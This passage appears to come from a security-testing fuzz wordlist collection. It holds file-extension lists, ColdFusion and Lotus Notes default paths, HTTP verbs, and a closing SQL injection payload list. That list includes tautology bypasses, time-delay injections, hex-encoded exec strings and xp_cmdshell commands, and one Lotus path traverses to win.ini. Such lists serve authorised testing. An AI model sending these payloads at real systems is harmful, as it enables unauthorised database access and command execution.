.arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> 